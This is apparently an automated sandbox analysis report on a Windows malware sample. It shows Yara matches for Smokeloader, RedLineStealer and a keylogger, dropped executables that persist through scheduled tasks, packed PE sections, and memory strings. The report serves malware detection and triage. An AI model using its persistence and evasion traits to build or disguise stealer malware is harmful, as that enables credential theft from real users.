Source: 7bfd2dfdc1.exe, 00000014.00000002.3433473672.000000000225C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: GetRawInputData memstr_b71a4066-c
Yara detected Keylogger Generic
Source: Yara match File source: Process Memory Space: 7bfd2dfdc1.exe PID: 7796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7bfd2dfdc1.exe PID: 8056, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Binary is likely a compiled AutoIt script file
Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_ae5cad12-a
Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_e625e7bc-8
Source: 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_2997f18b-6
Source: 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_2ae4265f-8
PE file contains section with special chars
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: .idata
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: .idata
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name:
Source: explorti.exe.6.dr Static PE information: section name:
Source: explorti.exe.6.dr Static PE information: section name: .idata
Source: explorti.exe.6.dr Static PE information: section name:
Source: axplong.exe.9.dr Static PE information: section name:
Source: axplong.exe.9.dr Static PE information: section name: .idata
Source: axplong.exe.9.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA6B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 0_2_6CA6B700
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA6B8C0 rand_s,NtQueryVirtualMemory, 0_2_6CA6B8C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA6B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 0_2_6CA6B910
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 0_2_6CA0F280
Creates files inside the system directory
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA035A0 0_2_6CA035A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA634A0 0_2_6CA634A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA6C4A0 0_2_6CA6C4A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA16C80 0_2_6CA16C80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0D4E0 0_2_6CA0D4E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA46CF0 0_2_6CA46CF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA164C0 0_2_6CA164C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA2D4D0 0_2_6CA2D4D0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA7542B 0_2_6CA7542B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA7AC00 0_2_6CA7AC00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA45C10 0_2_6CA45C10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA52C10 0_2_6CA52C10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA15440 0_2_6CA15440
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA7545C 0_2_6CA7545C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA685F0 0_2_6CA685F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA40DD0 0_2_6CA40DD0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA1FD00 0_2_6CA1FD00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA30512 0_2_6CA30512
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA2ED10 0_2_6CA2ED10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA64EA0 0_2_6CA64EA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA6E680 0_2_6CA6E680
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA25E90 0_2_6CA25E90
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA776E3 0_2_6CA776E3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0BEF0 0_2_6CA0BEF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA1FEF0 0_2_6CA1FEF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA69E30 0_2_6CA69E30
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA55600 0_2_6CA55600
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA47E10 0_2_6CA47E10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA76E63 0_2_6CA76E63
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0C670 0_2_6CA0C670
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA24640 0_2_6CA24640
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA52E4E 0_2_6CA52E4E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA29E50 0_2_6CA29E50
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA43E50 0_2_6CA43E50
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA577A0 0_2_6CA577A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0DFE0 0_2_6CA0DFE0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA36FF0 0_2_6CA36FF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA19F00 0_2_6CA19F00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA47710 0_2_6CA47710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA360A0 0_2_6CA360A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA2C0E0 0_2_6CA2C0E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA458E0 0_2_6CA458E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA750C7 0_2_6CA750C7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA4B820 0_2_6CA4B820
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA54820 0_2_6CA54820
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA17810 0_2_6CA17810
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA4F070 0_2_6CA4F070
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA28850 0_2_6CA28850
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA2D850 0_2_6CA2D850
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0C9A0 0_2_6CA0C9A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA3D9B0 0_2_6CA3D9B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA45190 0_2_6CA45190
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA62990 0_2_6CA62990
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA1D960 0_2_6CA1D960
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA5B970 0_2_6CA5B970
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA7B170 0_2_6CA7B170
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA2A940 0_2_6CA2A940
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA022A0 0_2_6CA022A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA34AA0 0_2_6CA34AA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA1CAB0 0_2_6CA1CAB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA72AB0 0_2_6CA72AB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA7BA90 0_2_6CA7BA90
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA21AF0 0_2_6CA21AF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA4E2F0 0_2_6CA4E2F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA48AC0 0_2_6CA48AC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA49A60 0_2_6CA49A60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA0F380 0_2_6CA0F380
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA753C8 0_2_6CA753C8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA4D320 0_2_6CA4D320
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA1C370 0_2_6CA1C370
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA05340 0_2_6CA05340
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB0ECD0 0_2_6CB0ECD0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CAAECC0 0_2_6CAAECC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB8AC30 0_2_6CB8AC30
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB76C00 0_2_6CB76C00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CABAC60 0_2_6CABAC60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CC3CDC0 0_2_6CC3CDC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CAB4DB0 0_2_6CAB4DB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB46D90 0_2_6CB46D90
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB7ED70 0_2_6CB7ED70
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CC38D20 0_2_6CC38D20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBDAD50 0_2_6CBDAD50
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB36E90 0_2_6CB36E90
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CABAEC0 0_2_6CABAEC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB50EC0 0_2_6CB50EC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB90E20 0_2_6CB90E20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB4EE70 0_2_6CB4EE70
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBF8FB0 0_2_6CBF8FB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CABEFB0 0_2_6CABEFB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB8EFF0 0_2_6CB8EFF0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CAB0FE0 0_2_6CAB0FE0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBF0F20 0_2_6CBF0F20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CAB6F10 0_2_6CAB6F10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB72F70 0_2_6CB72F70
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB1EF40 0_2_6CB1EF40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBB68E0 0_2_6CBB68E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB00820 0_2_6CB00820
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CB3A820 0_2_6CB3A820
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\file.exe Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6CC309D0 appears 32 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6CA494D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6CA3CBE8 appears 134 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000000.2123631939.000000000244C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2420389215.000000006CC85000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: Section: ZLIB complexity 0.9994930413251366
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: Section: nvdlapfi ZLIB complexity 0.994298210670366
Source: userIJKFHIIEHI.exe.0.dr Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: userIJKFHIIEHI.exe.0.dr Static PE information: Section: yhecmkmx ZLIB complexity 0.994455346563981
Source: explorti.exe.6.dr Static PE information: Section: ZLIB complexity 0.9994930413251366
Source: explorti.exe.6.dr Static PE information: Section: nvdlapfi ZLIB complexity 0.994298210670366
Source: axplong.exe.9.dr Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: axplong.exe.9.dr Static PE information: Section: yhecmkmx ZLIB complexity 0.994455346563981
Source: explorti.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@46/53@59/10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA67030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 0_2_6CA67030
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_004190A0
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\2PPMBT2Z.htm Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3080:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7596
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6880
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess352
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1016:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7856
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7 Jump to behavior
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
